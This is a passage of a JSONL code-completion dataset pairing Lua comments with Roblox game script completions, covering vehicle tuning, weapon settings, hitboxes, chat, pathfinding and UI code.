\"\\n\"\n\tend\nend\n"} +{"prompt": "--[[\n\tProxy layer between the server FSM and the player state scripts, allowing debug and server state updates to be fired.\n]]", "completion": "\nlocal ServerStorage = game:GetService(\"ServerStorage\")\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\n\nlocal Logger = require(ReplicatedStorage.Dependencies.GameUtils.Logger)\n\nlocal ServerPreGame = require(ServerStorage.Source.GameStates.Server.ServerPreGame)\nlocal ServerWarmup = require(ServerStorage.Source.GameStates.Server.ServerWarmup)\nlocal ServerGame = require(ServerStorage.Source.GameStates.Server.ServerGame)\nlocal ServerPostGame = require(ServerStorage.Source.GameStates.Server.ServerPostGame)\n\nlocal Transitions = {}\n"} +{"prompt": "-- Load the RemoveCharacterEvent", "completion": "\nRemoveCharacterEvent = soundEventFolder:FindFirstChild(\"RemoveCharacterEvent\")\nif RemoveCharacterEvent == nil then\n RemoveCharacterEvent = Instance.new(\"RemoteEvent\", soundEventFolder)\n RemoveCharacterEvent.Name = \"RemoveCharacterEvent\"\nend\n\nAddCharacterLoadedEvent = soundEventFolder:FindFirstChild(\"AddCharacterLoadedEvent\")\nif AddCharacterLoadedEvent == nil then\n AddCharacterLoadedEvent = Instance.new(\"RemoteEvent\", soundEventFolder)\n AddCharacterLoadedEvent.Name = \"AddCharacterLoadedEvent\"\nend\n"} +{"prompt": "--[[ Display Names ]]\n--Uses DisplayNames instead of UserNames in chat messages", "completion": "\nmodule.PlayerDisplayNamesEnabled = true"} +{"prompt": "--[[\nTheNexusAvenger\n\nApplies a winter theme to Dodgeball.\n--]]", "completion": "\n"} +{"prompt": "--remote.OnClientEvent:Connect(function(plr, yes)\n--\tPlayer.PlayerGui:FindFirstChild(\"AlterGui\").Enabled = true\n--\twait(12)\n--\tPlayer.PlayerGui:FindFirstChild(\"AlterGui\").Enabled = false\n--\tprint(yes)\n--end)", "completion": "\n"} +{"prompt": "--[=[\n\t@param instance Instance\n\t@param timeout number?\n\t@return Promise\n\tWaits for a component instance to exist on the given Roblox instance.\n]=]", "completion": "\nfunction Component:WaitFor(instance, timeout)\n\tlocal isName = (type(instance) == \"string\")\n\tlocal function IsInstanceValid(obj)\n\t\treturn ((isName and obj.Instance.Name == instance) or ((not isName) and obj.Instance == instance))\n\tend\n\tfor _,obj in ipairs(self._objects) do\n\t\tif IsInstanceValid(obj) then\n\t\t\treturn Promise.resolve(obj)\n\t\tend\n\tend\n\tlocal lastObj = nil\n\treturn Promise.fromEvent(self.Added, function(obj)\n\t\tlastObj = obj\n\t\treturn IsInstanceValid(obj)\n\tend):andThen(function()\n\t\treturn lastObj\n\tend):timeout(timeout or DEFAULT_WAIT_FOR_TIMEOUT)\nend\n\n"} +{"prompt": "-- << SETUP >>", "completion": "\nmain.gui.Changed:Connect(function(prop)\n\tif prop == \"AbsoluteSize\" then\n\t\tscreenChanged()\n\tend\nend)\nupdateUIs()\n\n\n\nreturn module\n"} +{"prompt": "--\n--\t\tlocal targetOffsetVector = (lastTargetPos - target)\n--\t\tif targetOffsetVector.magnitude < math.huge then\n--\t\t\ttargetOffsetVector = (lastTargetPos - target) * Vector3.new(1,0,1)\t\n--\t\tend", "completion": "\n\t\tif targetOffset > TargetOffsetMax then\n\t\t--if targetOffsetVector.magnitude > TargetOffsetMax then\n\t\t\t--print(\"moveto\")\n\t\t\tlocal startPoint = character.HumanoidRootPart.Position\n\t\t\tlocal humanoidState = character.Humanoid:GetState()\n\t\t\tif humanoidState == Enum.HumanoidStateType.Jumping or humanoidState == Enum.HumanoidStateType.Freefall then\n\t\t\t\t--print(\"this\")\t\t\t\t\n\t\t\t\tlocal ray = Ray.new(character.HumanoidRootPart.Position, Vector3.new(0, -100, 0))\n\t\t\t\tlocal hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character)\n\t\t\t\tif hitPart then\n\t\t\t\t\tstartPoint = hitPoint\n\t\t\t\tend\n\t\t\tend\n\t\t\t--print(\"making new path\")\n\t\t\tlocal newTarget = target\n\t\t\tlocal ray = Ray.new(target + Vector3.new(0,-3,0), Vector3.new(0, -100, 0))\t\t\t\n\t\t\tlocal hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character)\n\t\t\tif hitPoint then\n\t\t\t\tif (hitPoint - target).magnitude > 4 then\n\t\t\t\t\tnewTarget = newTarget * Vector3.new(1,0,1) + Vector3.new(0,3,0)\n\t\t\t\tend\n\t\t\tend\t\n\t\t\t\n\t\t\t--local newTarget = Vector3.new(1,0,1) * target + Vector3.new(0, 2, 0)\n\t\t\tpath = PathfindingService:ComputeSmoothPathAsync(startPoint, newTarget, 500)\n\t\t\tif path.Status ~= Enum.PathStatus.Success then\n\t\t\t\t--print(tostring(path.Status))\n\t\t\tend\n\t\t\t--path = PathfindingService:ComputeRawPathAsync(startPoint, target, 500)\t\t\t\n\t\t\t"} +{"prompt": "--Gear Ratios", "completion": "\nTune.FinalDrive\t\t= 2.78\t\t\t-- Gearing determines top speed and wheel torque\nTune.Ratios\t\t\t= {\t\t\t\t-- Higher ratio = more torque, Lower ratio = higher top speed\n\t--[[Reverse]]\t2.34\t\t,\t-- Copy and paste a ratio to add a gear\n\t--[[Neutral]]\t0\t\t\t,\t-- Ratios can also be deleted\n\t--[[ 1 ]]\t\t3.53\t\t,\t-- Reverse, Neutral, and 1st gear are required\n\t--[[ 2 ]]\t\t2.04\t\t,\n\t--[[ 3 ]]\t\t1.38\t\t,\n\t--[[ 4 ]]\t\t1.03\t\t,\n\t--[[ 5 ]]\t\t0.81\t\t,\n\t--[[ 6 ]]\t\t0.64\t\t,\n\t--[[ 7 ]]\t\t0.48\t\t,\t\t\n}\nTune.FDMult\t\t\t= 1\t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n"} +{"prompt": "--[[\n\tRECS\n]]", "completion": "\n\nlocal recsCore = RECS.Core.new({\n\tRECS.BuiltInPlugins.CollectionService(),\n\tRECS.BuiltInPlugins.ComponentChangedEvent,\n})\n"} +{"prompt": "--// Aim|Zoom|Sensitivity Customization", "completion": "\n\tZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween\n\tAimZoom = 43; -- Default zoom\n\tAimSpeed = 0.23;\n\tUnaimSpeed = 0.23;\n\tCycleAimZoom = 50; -- Cycled zoom\n\tMouseSensitivity = 0.5; -- Number between 0.1 and 1\n\tSensitivityIncrement = 0.05; -- No touchy\n\t"} +{"prompt": "--Refer to Settings.COMPARISON_CHECKS", "completion": "\nlocal function comparePosition(self)\n\tif self._currentWaypoint == #self._waypoints then return end\n\tself._position._count = ((self._agent.PrimaryPart.Position - self._position._last).Magnitude <= 0.07 and (self._position._count + 1)) or 0\n\tself._position._last = self._agent.PrimaryPart.Position\n\tif self._position._count >= self._settings.COMPARISON_CHECKS then\n\t\tif self._settings.JUMP_WHEN_STUCK then\n\t\t\tsetJumpState(self)\n\t\tend\n\t\tdeclareError(self, self.ErrorType.AgentStuck)\n\tend\nend"} +{"prompt": "-- Compiled with roblox-ts v2.0.4", "completion": "\nlocal TS = require(game:GetService(\"ReplicatedStorage\"):WaitForChild(\"rbxts_include\"):WaitForChild(\"RuntimeLib\"))\nlocal Net = TS.import(script, game:GetService(\"ReplicatedStorage\"), \"rbxts_include\", \"node_modules\", \"@rbxts\", \"net\", \"out\")\nlocal Remotes = Net.Definitions.Create({\n\tChangeColor = Net.Definitions.BidirectionalEvent(),\n})\nlocal default = Remotes\nreturn {\n\tdefault = default,\n}\n"} +{"prompt": "--[=[\n\t@class Trove\n\tA Trove is helpful for tracking any sort of object during\n\truntime that needs to get cleaned up at some point.\n]=]", "completion": "\nlocal Trove = {}\nTrove.__index = Trove\n"} +{"prompt": "--Removes the current force field.", "completion": "\nlocal function RemoveForceField()\n\tlocal ForceField = Character:FindFirstChild(\"ForceField\")\n\tif ForceField then\n\t\twait(REMOVAL_DELAY)\n\t\tDebris:AddItem(ForceField, 0)\n\t\tscript:Destroy()\n\tend\nend\n"} +{"prompt": "--// H key, Horn", "completion": "\nmouse.KeyDown:connect(function(key)\n\tif key==\"h\" then \n\t\tscript.Parent.Parent.Horn.TextTransparency = 0\n\t\tveh.Lightbar.middle.Airhorn:Play()\n\t\tveh.Lightbar.middle.Wail.Volume = 0\n\t\tveh.Lightbar.middle.Yelp.Volume = 0\n\t\tveh.Lightbar.middle.Priority.Volume = 0\n\t\tscript.Parent.Parent.MBOV.Visible = true\n\t\tscript.Parent.Parent.MBOV.Text = \"Made by OfficerVargas\"\n\tend\nend)\n"} +{"prompt": "--// All global vars will be wiped/replaced except script\n--// All guis are autonamed client.Variables.CodeName..gui.Name", "completion": "\n\nreturn function(data)\n\tlocal gui = script.Parent.Parent\n\tlocal playergui = service.PlayerGui\n\tlocal str = data.Message\n\tlocal time = data.Time or 15\n\n\t--client.UI.Make(\"HintHolder\")\n\tlocal container = client.UI.Get(\"HintHolder\",nil,true)\n\tif not container then\n\t\tlocal holder = service.New(\"ScreenGui\")\n\t\tlocal hTable = client.UI.Register(holder)\n\t\tlocal frame = service.New(\"ScrollingFrame\", holder)\n\t\tclient.UI.Prepare(holder)\n\t\thTable.Name = \"HintHolder\"\n\t\tframe.Name = \"Frame\"\n\t\tframe.BackgroundTransparency = 1\n\t\tframe.Size = UDim2.new(1, 0, 0,150)\n\t\tframe.CanvasSize = UDim2.new(0, 0, 0, 0)\n\t\tframe.ChildAdded:Connect(function(c)\n\t\t\tif #frame:GetChildren() == 0 then\n\t\t\t\tframe.Visible = false\n\t\t\telse\n\t\t\t\tframe.Visible = true\n\t\t\tend\n\t\tend)\n\n\t\tframe.ChildRemoved:Connect(function(c)\n\t\t\tif #frame:GetChildren() == 0 then\n\t\t\t\tframe.Visible = false\n\t\t\telse\n\t\t\t\tframe.Visible = true\n\t\t\tend\n\t\tend)\n\n\t\tcontainer = hTable\n\t\thTable:Ready()\n\tend\n\tcontainer = container.Object.Frame\n\n\t--// First things first account for notif :)\n\tlocal notif = client.UI.Get(\"Notif\")\n\tif notif then\n\t\tcontainer.Position = UDim2.new(0,0,0,30)\n\telse\n\t\tcontainer.Position = UDim2.new(0,0,0,0)\n\tend\n\n\tlocal children = container:GetChildren()\n\n\tgui.Position = UDim2.new(0,0,0,-100)\n\tgui.Frame.msg.Text = str\n\tlocal bounds = gui.Frame.msg.TextBounds.X\n\n\tlocal function moveGuis(m,ignore)\n\t\tm = m or 0\n\t\tlocal max = #container:GetChildren()\n\t\tfor i,v in pairs(container:GetChildren()) do\n\t\t\tif v~=ignore then\n\t\t\t\tlocal y = (i+m)*28\n\t\t\t\tv.Position = UDim2.new(0,0,0,y)\n\t\t\t\tif i~=max then v.Size = UDim2.new(1,0,0,28) end\n\t\t\tend\n\t\tend\n\tend\n\n\tlocal lom = -1\n\tmoveGuis(-1)\n\tgui.Parent = container\n\tif #container:GetChildren()>5 then lom = -2 end\n\tUDim2.new(0,0,0,(#container:GetChildren()+lom)*28)\n\tmoveGuis(-1)\n\t--gui:TweenPosition(UDim2.new(0,0,0,(#container:GetChildren()+lom)*28),nil,nil,0.3,true,function() if gui and gui.Parent then moveGuis(-1) end end)\n\n\tif #container:GetChildren()>5 then\n\t\tlocal gui = container:GetChildren()[1]\n\t\tmoveGuis(-2,gui)\n\t\tgui:Destroy()\n\t\t--gui:TweenPosition(UDim2.new(0,0,0,-100),nil,nil,0.2,true,function() if gui and gui.Parent then gui:Destroy() end end)\n\tend\n\n\twait(data.Time or 5)\n\n\tif gui and gui.Parent then\n\t\tmoveGuis(-2,gui)\n\t\tgui:Destroy()\n\t\t--gui:TweenPosition(UDim2.new(0,0,0,-100),nil,nil,0.2,true,function() if gui and gui.Parent then gui:Destroy() end end)\n\tend\nend\n"} +{"prompt": "-- define some constants for the length and direction of the raycast:", "completion": "\nlocal RAY_LENGTH = 80\nlocal RAY_DIRECTION = Vector3.new(0, 0, -1)\n"} +{"prompt": "--// Touch Connections", "completion": "\nL_3_:WaitForChild('Humanoid').Touched:connect(function(L_311_arg1)\n\tlocal L_312_, L_313_ = SearchResupply(L_311_arg1)\n\tif L_312_ and L_17_ then\n\t\tL_17_ = false\n\t\tL_103_ = L_24_.Ammo\n\t\tL_104_ = L_24_.StoredAmmo * L_24_.MagCount\n\t\tL_105_ = L_24_.ExplosiveAmmo\n\t\tif L_58_:FindFirstChild('Resupply') then\n\t\t\tL_58_.Resupply:Play()\n\t\tend\n\t\twait(15)\n\t\tL_17_ = true\n\tend;\nend)\n"} +{"prompt": "-- terminal symbols denoted by reserved words: TK_AND to TK_WHILE\n-- other terminal symbols: TK_NAME to TK_EOS", "completion": "\nluaX.RESERVED = [[\nTK_AND and\nTK_BREAK break\nTK_DO do\nTK_ELSE else\nTK_ELSEIF elseif\nTK_END end\nTK_FALSE false\nTK_FOR for\nTK_FUNCTION function\nTK_IF if\nTK_IN in\nTK_LOCAL local\nTK_NIL nil\nTK_NOT not\nTK_OR or\nTK_REPEAT repeat\nTK_RETURN return\nTK_THEN then\nTK_TRUE true\nTK_UNTIL until\nTK_WHILE while\nTK_CONCAT ..\nTK_DOTS ...\nTK_EQ ==\nTK_GE >=\nTK_LE <=\nTK_NE ~=\nTK_NAME \nTK_NUMBER \nTK_STRING \nTK_EOS ]]\n"} +{"prompt": "-- TODO: We shouldn't connect to heartbeat here. Refactor this later.", "completion": "\nRunService.Heartbeat:Connect(function(deltaTime)\n module:Heartbeat(deltaTime)\nend)\n\nreturn module\n"} +{"prompt": "--//Controller//--", "completion": "\nTool.Activated:Connect(function()\n\tif not Settings.OnCD then\n\t\tSettings.OnCD = true\n\t\t\n\t\tlocal Hitbox = Tool.Hitbox:Clone()\n\t\tHitbox.Parent = Tool\n\t\t\n\t\tDebris:AddItem(Hitbox, 0.5)\n\t\t\n\t\tSwing:Play()\n\t\t\n\t\tHitbox.Touched:Connect(function(Hit)\t\t\t\n\t\t\tlocal Humanoid = Hit.Parent:FindFirstChild(\"Humanoid\")\n\t\t\t\n\t\t\tif Humanoid then\n\t\t\t\tif not table.find(DamageBlacklist, Humanoid) then\n\t\t\t\t\ttable.insert(DamageBlacklist, Humanoid)\n\t\t\t\t\t\n\t\t\t\t\tDamageEvent:FireServer(Humanoid, Settings.Damage)\n\t\t\t\t\n\t\t\t\t\ttask.wait(Settings.CDTime)\n\t\t\t\t\t\n\t\t\t\t\tif Humanoid then\n\t\t\t\t\t\ttable.remove(DamageBlacklist, table.find(DamageBlacklist, Humanoid))\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tlocal HealthValue = Hit:FindFirstChildOfClass(\"IntValue\") or Hit:FindFirstChildOfClass(\"NumberValue\")\n\t\t\t\t\n\t\t\t\tif HealthValue then\t\t\t\t\t\n\t\t\t\t\tif not table.find(DamageBlacklist, HealthValue) then\n\t\t\t\t\t\ttable.insert(DamageBlacklist, HealthValue)\n\t\t\t\t\t\t\n\t\t\t\t\t\tDamageEvent:FireServer(HealthValue, Settings.Damage)\n\n\t\t\t\t\t\ttask.wait(Settings.CDTime)\n\n\t\t\t\t\t\tif HealthValue then\n\t\t\t\t\t\t\ttable.remove(DamageBlacklist, table.find(DamageBlacklist, HealthValue))\n\t\t\t\t\t\tend\n\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\tend)\n\t\t\n\t\ttask.wait(Settings.CDTime)\n\t\t\n\t\tSettings.OnCD = false\n\tend\nend)\n"} +{"prompt": "--cam.FieldOfView = 80", "completion": "\nlocal part = Instance.new(\"Part\")\npart.Anchored = true\npart.CanCollide = false\npart.Transparency = 0.5\npart.BrickColor = BrickColor.new(\"Pastel light blue\")\npart.TopSurface = \"Smooth\"\npart.BottomSurface = \"Smooth\"\npart.formFactor = \"Custom\"\npart.Size = Vector3.new(.2,1.2,.2)\nlocal mesh = Instance.new(\"BlockMesh\")\nmesh.Scale = Vector3.new(.4,2,.4)\nmesh.Parent = part\nwait()\n\nwhile workspace.Raining.Value == true do\nfor i = 1, amount do\n\twait(.03)\n\tlocal drop = part:Clone()"} +{"prompt": "--// Recoil Settings\t", "completion": "\n\tgunrecoil = -0.6; -- How much the gun recoils backwards when not aiming\n\tcamrecoil = 4.10; -- How much the camera flicks when not aiming\n\tAimGunRecoil = -0.8; -- How much the gun recoils backwards when aiming\n\tAimCamRecoil = 2.55; -- How much the camera flicks when aiming\n\t\n\tCamShake = 1.2; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING\n\tAimCamShake = 1.2; -- THIS IS ALSO NEW!!!!\n\t\n\tKickback = 1.8; -- Upward gun rotation when not aiming\n\tAimKickback = 1.7; -- Upward gun rotation when aiming\n\t"} +{"prompt": "--Wheelie tune", "completion": "\nlocal WheelieD = 5\nlocal WheelieTq = 90\nlocal WheelieP = 10\nlocal WheelieMultiplier = 1.5\nlocal WheelieDivider = 1\n"} +{"prompt": "-- constants", "completion": "\n\nlocal CUSTOMIZATION\t= ReplicatedStorage:WaitForChild(\"Customization\")\n"} +{"prompt": "-- Check for user input ended events. Handles release of R1 and thumbsticks", "completion": "\nuserInputService.InputEnded:connect(function(input, processed)\n\tif input.UserInputType == Enum.UserInputType.Gamepad1 then\n\t\t-- Stop moving character if left thumbstick released\n\t\tif input.KeyCode == Enum.KeyCode.Thumbstick1 then\n\t\t\tcharacter.Humanoid:Move(Vector3.new(0,0,0))\n\t\tend\n\t\t-- Stop moving camera if right thumbstick released\n\t\tif input.KeyCode == Enum.KeyCode.Thumbstick2 then\n\t\t\tdeltaAngle = 0\n\t\tend\n\t\t-- Make character move at normal speed if R3 is released\n\t\tif input.KeyCode == Enum.KeyCode.ButtonL3 then\n\t\t\tcharacter.Humanoid.WalkSpeed = 16\n\t\tend\n\tend\nend)\n "} +{"prompt": "--[[\nOpenToggleButton.MouseButton1Up:connect(function()\n\tSideMenu:TweenPosition(UDim2.new(1, -330, 0, 0), \"Out\", \"Quad\", 0.5, true)\n\t\n\tif CurrentWindow == \"Explorer\" then\n\t\tExplorerPanel:TweenPosition(UDim2.new(1, -300, 0, 0), \"Out\", \"Quad\", 0.5, true)\n\t\tPropertiesFrame:TweenPosition(UDim2.new(1, -300, 0.5, 36), \"Out\", \"Quad\", 0.5, true)\n\telse\n\t\tSettingsPanel:TweenPosition(UDim2.new(1, -300, 0, 0), \"Out\", \"Quad\", 0.5, true)\n\tend\n\t\n\tOpenToggleButton:TweenPosition(UDim2.new(1,0,0,0), \"Out\", \"Quad\", 0.5, true)\nend)\n\nCloseToggleButton.MouseButton1Up:connect(function()\n\tSideMenu:TweenPosition(UDim2.new(1, 0, 0, 0), \"Out\", \"Quad\", 0.5, true)\n\t\n\tExplorerPanel:TweenPosition(UDim2.new(1, 30, 0, 0), \"Out\", \"Quad\", 0.5, true)\n\tPropertiesFrame:TweenPosition(UDim2.new(1, 30, 0.5, 36), \"Out\", \"Quad\", 0.5, true)\n\tSettingsPanel:TweenPosition(UDim2.new(1, 30, 0, 0), \"Out\", \"Quad\", 0.5, true)\n\t\n\tOpenToggleButton:TweenPosition(UDim2.new(1,-30,0,0), \"Out\", \"Quad\", 0.5, true)\nend)\n--]]", "completion": "\n"} +{"prompt": "--////////////////////////////// Include\n--//////////////////////////////////////", "completion": "\nlocal Chat = game:GetService(\"Chat\")\nlocal clientChatModules = Chat:WaitForChild(\"ClientChatModules\")\nlocal modulesFolder = script.Parent\nlocal moduleMessageLabelCreator = require(modulesFolder:WaitForChild(\"MessageLabelCreator\"))\nlocal CurveUtil = require(modulesFolder:WaitForChild(\"CurveUtil\"))\n\nlocal ChatSettings = require(clientChatModules:WaitForChild(\"ChatSettings\"))\n\nlocal FlagFixChatMessageLogPerformance = false do\n\tlocal ok, value = pcall(function()\n\t\treturn settings():IsUserFeatureEnabled(\"UserFixChatMessageLogPerformance\")\n\tend)\n\tif ok then\n\t\tFlagFixChatMessageLogPerformance = value\n\tend\nend\n\nlocal MessageLabelCreator = moduleMessageLabelCreator.new()\n"} +{"prompt": "--\t\tbody.L2.Light.Enabled = bool --if you want That Bright Lights.", "completion": "\n\tend\nend\n\nlocal b = ''\n\nfunction Toggle(dir, tog)\n\tif dir == 'Left' then\n\t\tbody.LeftIn.Material = tog and \"Neon\" or \"SmoothPlastic\"\n\t\tbody.LeftIn.BrickColor = tog and BrickColor.new(\"Deep orange\") or BrickColor.new(\"Pearl\")\n\t\t\n\t\tbody.RLeft.Material = tog and \"Neon\" or \"SmoothPlastic\"\n\t\tbody.RLeft.BrickColor = tog and BrickColor.new(\"Really red\") or BrickColor.new(\"Ghost grey\")\n\t\t\n\t\tcar.DriveSeat.LI.Value = tog\n\telseif dir == 'Right' then\n\t\tbody.RightIn.Material = tog and \"Neon\" or \"SmoothPlastic\"\n\t\tbody.RightIn.BrickColor = tog and BrickColor.new(\"Deep orange\") or BrickColor.new(\"Pearl\")\n\t\t\n\t\tbody.RRight.Material = tog and \"Neon\" or \"SmoothPlastic\"\n\t\tbody.RRight.BrickColor = tog and BrickColor.new(\"Really red\") or BrickColor.new(\"Ghost grey\")\n\t\t\n\t\t\n\t\tcar.DriveSeat.RI.Value = tog\n\telseif dir == 'Hazards' then\n\t\tbody.LeftIn.Material = tog and \"Neon\" or \"SmoothPlastic\"\n\t\tbody.LeftIn.BrickColor = tog and BrickColor.new(\"Deep orange\") or BrickColor.new(\"Pearl\")\n\t\t\n\t\tbody.RLeft.Material = tog and \"Neon\" or \"SmoothPlastic\"\n\t\tbody.RLeft.BrickColor = tog and BrickColor.new(\"Really red\") or BrickColor.new(\"Ghost grey\")\n\t\t\n\t\tbody.RightIn.Material = tog and \"Neon\" or \"SmoothPlastic\"\n\t\tbody.RightIn.BrickColor = tog and BrickColor.new(\"Deep orange\") or BrickColor.new(\"Pearl\")\n\t\t\n\t\tbody.RRight.Material = tog and \"Neon\" or \"SmoothPlastic\"\n\t\tbody.RRight.BrickColor = tog and BrickColor.new(\"Really red\") or BrickColor.new(\"Ghost grey\")\n\t\t\n\t\tcar.DriveSeat.LI.Value = tog\n\t\tcar.DriveSeat.RI.Value = tog\n\tend\nend\n\nfunction blink(typ)\n\tb = typ\n\tif blinking == true then\n\t\tblinking = false\n\telse\n\t\tblinking = true\n\t\twhile blinking do\n\t\t\tToggle(typ, true)\n\t\t\tscript.Parent:FireClient(player, 'blink', .9, true)\n\t\t\twait(1/3)\n\t\t\tToggle(typ, false)\n\t\t\tscript.Parent:FireClient(player, 'blink', 0.8, true)\n\t\t\twait(1/3)\n\t\tend\n\t\tToggle('Hazards', false)\n\t\tscript.Parent:FireClient(player, 'blink', .9, false)\n\tend\nend\n\nscript.Parent.Parent.ChildRemoved:connect(function(child)\n\tif child:IsA(\"Weld\") and BlinkersEnabled then\n\t\tif blinking == true and b == 'Hazards' then\n\t\t\treturn\n\t\telse\n\t\t\tblinking = false\n\t\tend\n\tend\nend)\n\nF.blinkers = function(dir)\n\tblink(dir)\nend\n\nF.flash = function()\n\tToggle('Hazards', true)\n\twait(1/3)\n\tToggle('Hazards', false)\nend\n\nscript.Parent.OnServerEvent:connect(function(pl,Fnc,...)\n\tplayer = pl\n\tF[Fnc](...)\nend)\n"} +{"prompt": "-- References", "completion": "\nSupport.ImportServices();\nSyncAPI = Tool.SyncAPI;\nPlayer = Players.LocalPlayer;\nlocal RunService = game:GetService('RunService')\n"} +{"prompt": "-- TUNE", "completion": "\nSpeedType = \"MPH\"\t-- MPH or KPH\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nlocal Smoothness = 0.89\nlocal TurboSmoothness = 0.87\nlocal autoscaling\t= true\t\t\t\t\t--Estimates top speed\nlocal UNITS\t= {\t\t\t\t\t\t\t\t--Click on speed to change units\n\t\t\t\t\t\t\t\t\t\t\t--First unit is default\t\n\t{\n\t\tunits\t\t\t= \"MPH\"\t\t\t\t,\n\t\tscaling\t\t\t= (10/12) * (60/88)\t, -- 1 stud : 10 inches | ft/s to MPH\n\t\tmaxSpeed\t\t= 230\t\t\t\t,\n\t\tspInc\t\t\t= 20\t\t\t\t, -- Increment between labelled notches\n\t},\n\t\n\t{\n\t\tunits\t\t\t= \"KM/H\"\t\t\t,\n\t\tscaling\t\t\t= (10/12) * 1.09728\t, -- 1 stud : 10 inches | ft/s to KP/H\n\t\tmaxSpeed\t\t= 370\t\t\t\t,\n\t\tspInc\t\t\t= 40\t\t\t\t, -- Increment between labelled notches\n\t},\n\t\n\t{\n\t\tunits\t\t\t= \"SPS\"\t\t\t\t,\n\t\tscaling\t\t\t= 1\t\t\t\t\t, -- Roblox standard\n\t\tmaxSpeed\t\t= 400\t\t\t\t,\n\t\tspInc\t\t\t= 40\t\t\t\t, -- Increment between labelled notches\n\t}\n}\n"} +{"prompt": "--- Activates the raycasts for the hitbox object.\n--- The hitbox will automatically stop and restart if the hitbox was already casting.\n-- @param optional number parameter to automatically turn off the hitbox after 'n' seconds", "completion": "\nfunction Hitbox:HitStart(seconds: number?)\n\tif self.HitboxActive then\n\t\tself:HitStop()\n\tend\n\n\tif seconds then\n\t\tself.HitboxStopTime = os.clock() + math.max(MINIMUM_SECONDS_SCHEDULER, seconds)\n\tend\n\n\tself.HitboxActive = true\nend\n"} +{"prompt": "--[[\n\tCreates a new element representing the given component.\n\n\tElements are lightweight representations of what a component instance should\n\tlook like.\n\n\tChildren is a shorthand for specifying `Roact.Children` as a key inside\n\tprops. If specified, the passed `props` table is mutated!\n]]", "completion": "\nlocal function createElement(component, props, children)\n\tif config.typeChecks then\n\t\tassert(component ~= nil, \"`component` is required\")\n\t\tassert(typeof(props) == \"table\" or props == nil, \"`props` must be a table or nil\")\n\t\tassert(typeof(children) == \"table\" or children == nil, \"`children` must be a table or nil\")\n\tend\n\n\tif props == nil then\n\t\tprops = {}\n\tend\n\n\tif children ~= nil then\n\t\tif props[Children] ~= nil then\n\t\t\tLogging.warnOnce(multipleChildrenMessage)\n\t\tend\n\n\t\tprops[Children] = children\n\tend\n\n\tlocal elementKind = ElementKind.fromComponent(component)\n\n\tlocal element = {\n\t\t[Type] = Type.Element,\n\t\t[ElementKind] = elementKind,\n\t\tcomponent = component,\n\t\tprops = props,\n\t}\n\n\tif config.elementTracing then\n\t\t-- We trim out the leading newline since there's no way to specify the\n\t\t-- trace level without also specifying a message.\n\t\telement.source = debug.traceback(\"\", 2):sub(2)\n\tend\n\n\treturn element\nend\n\nreturn createElement\n"} +{"prompt": "-- PUBLIC FUNCTIONS", "completion": "\nfunction ZoneController.getZones()\n\tlocal registeredZonesArray = {}\n\tfor zone, _ in pairs(registeredZones) do\n\t\ttable.insert(registeredZonesArray, zone)\n\tend\n\treturn registeredZonesArray\nend\n"} +{"prompt": "--[[**\n\t\tensures value is an array and all values of the array match check\n\n\t\t@param check The check to compare all values with\n\n\t\t@returns A function that will return true iff the condition is passed\n\t**--]]", "completion": "\n\tfunction t.array(check)\n\t\tassert(t.callback(check))\n\t\tlocal valuesCheck = t.values(check)\n\n\t\treturn function(value)\n\t\t\tlocal keySuccess, keyErrMsg = arrayKeysCheck(value)\n\t\t\tif keySuccess == false then\n\t\t\t\treturn false, string.format(\"[array] %s\", keyErrMsg or \"\")\n\t\t\tend\n\n\t\t\t-- # is unreliable for sparse arrays\n\t\t\t-- Count upwards using ipairs to avoid false positives from the behavior of #\n\t\t\tlocal arraySize = 0\n\n\t\t\tfor _ in ipairs(value) do\n\t\t\t\tarraySize = arraySize + 1\n\t\t\tend\n\n\t\t\tfor key in pairs(value) do\n\t\t\t\tif key < 1 or key > arraySize then\n\t\t\t\t\treturn false, string.format(\"[array] key %s must be sequential\", tostring(key))\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tlocal valueSuccess, valueErrMsg = valuesCheck(value)\n\t\t\tif not valueSuccess then\n\t\t\t\treturn false, string.format(\"[array] %s\", valueErrMsg or \"\")\n\t\t\tend\n\n\t\t\treturn true\n\t\tend\n\tend\n"} +{"prompt": "--- Searches for attachments for the given instance (if applicable)", "completion": "\nfunction Hitbox:Recalibrate()\n\tlocal descendants: {[number]: Instance} = self.HitboxObject:GetDescendants()\n\tlocal attachmentCount: number = 0\n\n\tfor _, attachment: any in ipairs(descendants) do\n\t\tif not attachment:IsA(\"Attachment\") or attachment.Name ~= DEFAULT_ATTACHMENT_INSTANCE then\n\t\t\tcontinue\n\t\tend\n\n\t\tlocal group: string? = attachment:GetAttribute(DEFAULT_GROUP_NAME_INSTANCE)\n\t\tlocal point: Point = self:_CreatePoint(group, Hitbox.CastModes.Attachment, attachment.WorldPosition)\n\n\t\ttable.insert(point.Instances, attachment)\n\t\ttable.insert(self.HitboxRaycastPoints, point)\n\n\t\tattachmentCount += 1\n\tend\n\n\tif self.DebugLog then\n\t\tprint(string.format(\"%s%s\", DEFAULT_DEBUG_LOGGER_PREFIX,\n\t\t\tattachmentCount > 0 and string.format(DEFAULT_ATTACH_COUNT_NOTICE, attachmentCount, self.HitboxObject.Name) or\n\t\t\t\tstring.format(DEFAULT_MISSING_ATTACHMENTS, self.HitboxObject.Name))\n\t\t)\n\tend\nend\n"} +{"prompt": "--{ id = \"slash.xml\", weight = 10 } ", "completion": "\n},\ntoollunge = {\n{ id = \"http://www.roblox.com/asset/?id=129967478\", weight = 10 } \n},\nwave = {\n{ id = \"http://www.roblox.com/asset/?id=128777973\", weight = 10 } \n},\npoint = {\n{ id = \"http://www.roblox.com/asset/?id=128853357\", weight = 10 } \n},\ndance1 = {\n{ id = \"http://www.roblox.com/asset/?id=182435998\", weight = 10 }, \n{ id = \"http://www.roblox.com/asset/?id=182491037\", weight = 10 }, \n{ id = \"http://www.roblox.com/asset/?id=182491065\", weight = 10 } \n},\ndance2 = {\n{ id = 